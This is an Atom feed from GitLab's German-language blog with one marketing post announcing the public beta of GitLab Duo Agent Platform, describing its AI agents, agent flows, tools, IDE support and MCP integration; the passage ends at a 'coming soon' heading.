<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-07-22T18:06:23.256Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/de-de/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform jetzt in Public Beta: KI-Orchestrierung der nächsten Generation]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/"/>
        <updated>2025-07-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Das ist die Zukunft der Software-Entwicklung.</strong></p>
<p>Bei GitLab <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/">gestalten wir die Zukunft der Software-Entwicklung neu</a> als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.</p>
<h2>Was ist GitLab Duo Agent Platform?</h2>
<p>GitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.</p>
<p>Stell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.</p>
<p>Heute kündigen wir die Einführung der <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">ersten Public Beta von GitLab Duo Agent Platform</a> für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.</p>
<p>Diese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern.</p>
<p>Lass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.</p>
<p>Schau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, <a href="#get-started-now">erfährst du hier, wie das mit der Public Beta geht</a>.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101993507?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab Agent Platform Beta Launch_071625_MP_v2&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>GitLabs einzigartige Position als Orchestrierungsplattform</h2>
<p>GitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.</p>
<p>Dies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.</p>
<p>Als intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.</p>
<p><strong>Hier ist ein Beispiel für diesen Vorteil in Aktion.</strong> Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101998114?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Deep Research Demo_071625_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung</h2>
<p>GitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">Duo Agentic Chat</a> und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.</p>
<p>Wir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.</p>
<blockquote>
<p><strong>„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben.&quot;</strong> - Bal Kang, Engineering Platform Lead bei NatWest</p>
</blockquote>
<h3>Agenten, die sofort funktionieren</h3>
<p>Wir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.</p>
<p>Hier sind einige der Agenten, die wir heute bauen:</p>
<ul>
<li><strong>Chat-Agent (jetzt in Beta):</strong> Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953504?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-in-web-ui-demo_Update V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Software-Entwickler-Agent (jetzt in Beta):</strong> Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.</li>
<li><strong>Produktplanungs-Agent:</strong> Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.</li>
<li><strong>Software-Test-Ingenieur-Agent:</strong> Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.</li>
<li><strong>Code-Review-Agent:</strong> Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.</li>
<li><strong>Plattform-Ingenieur-Agent:</strong> Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.</li>
<li><strong>Sicherheitsanalyse-Agent:</strong> Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.</li>
<li><strong>Deployment-Ingenieur-Agent:</strong> Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.</li>
<li><strong>Deep-Research-Agent:</strong> Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.</li>
</ul>
<p>Was diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.</p>
<p>In den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.</p>
<h2>Flows orchestrieren komplexe Agenten-Aufgaben</h2>
<p>Zusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.</p>
<p>Während du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.</p>
<p>Flows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.</p>
<p>Hier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:</p>
<p><strong>Software-Entwicklungs-Flow (jetzt in Beta):</strong> Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.</p>
<p><strong>Issue-to-MR-Flow:</strong> Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.</p>
<p><strong>CI-Datei-Konvertierungs-Flow:</strong> Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101941425?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jenkins-to-gitlab-cicd-for-blog&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><strong>Such- und Ersetzungs-Flow:</strong> Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.</p>
<p><strong>Incident-Response- und Root-Cause-Analyse-Flow:</strong> Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.</p>
<p>Hier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.</p>
<p>Wir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.</p>
<h2>Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?</h2>
<p><strong>Es geht schnell.</strong> Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.</p>
<p><strong>Integrierte Rechenleistung.</strong> Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.</p>
<p><strong>SDLC-Events.</strong> Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.</p>
<p><strong>Sofortiger Zugriff.</strong> Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1102029239?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;assigning an agent an issue&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt; &lt;p&gt;&lt;/p&gt;</p>
<p><strong>Unterstützung integrierter und benutzerdefinierter Modelle.</strong> Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!</p>
<p><strong>Model Context Protocol (MCP) Endpunkte.</strong> Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.</p>
<p><strong>Observability und Sicherheit.</strong> Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.</p>
<h2>Eine von der Community getriebene Zukunft</h2>
<p>Community-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.</p>
<p>Wir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png" alt="AI Catalog" title="AI Catalog"></p>
<h2>Heute verfügbar in GitLab Duo Agent Platform in Public Beta</h2>
<p>Die Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:</p>
<p><strong>Software-Entwicklungs-Flow:</strong> Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.</p>
<p><strong>Neue verfügbare Agenten-Tools:</strong> Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:</p>
<ul>
<li>Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)</li>
<li>Befehlszeile ausführen*</li>
<li>Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)</li>
<li>Epics (Abrufen, Kommentare abrufen)</li>
<li>MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)</li>
<li>Pipeline (Job-Logs, Pipeline-Fehler)</li>
<li>Projekt (Abrufen, Datei abrufen)</li>
<li>Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)</li>
<li>Suche (Issue-Suche)</li>
<li>Secure (Schwachstellen auflisten)</li>
<li>Dokumentationssuche
*=Erfordert Benutzergenehmigung</li>
</ul>
<p><strong>GitLab Duo Agentic Chat in der IDE:</strong> Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&amp;A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953477?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-ai-launch-video_Updated V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Iteratives Feedback und Chat-Verlauf:</strong> Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743173?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-history&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Optimierte Delegation mit Slash-Befehlen:</strong> Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache&quot; für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743187?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;include-agentic-chat-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Personalisierung durch benutzerdefinierte Regeln:</strong> Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743179?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;custom-rules-with-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE:</strong> Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743193?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jetbrains-support-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>MCP-Client-Unterstützung:</strong> Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.</li>
</ul>
<p>Diese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743202?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;McpDemo&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>GitLab Duo Agentic Chat in der GitLab Web-UI.</strong> Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum&quot; hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.</li>
</ul>
<h2>Bald verfügbar in GitLab Duo Agent Platform</h2>
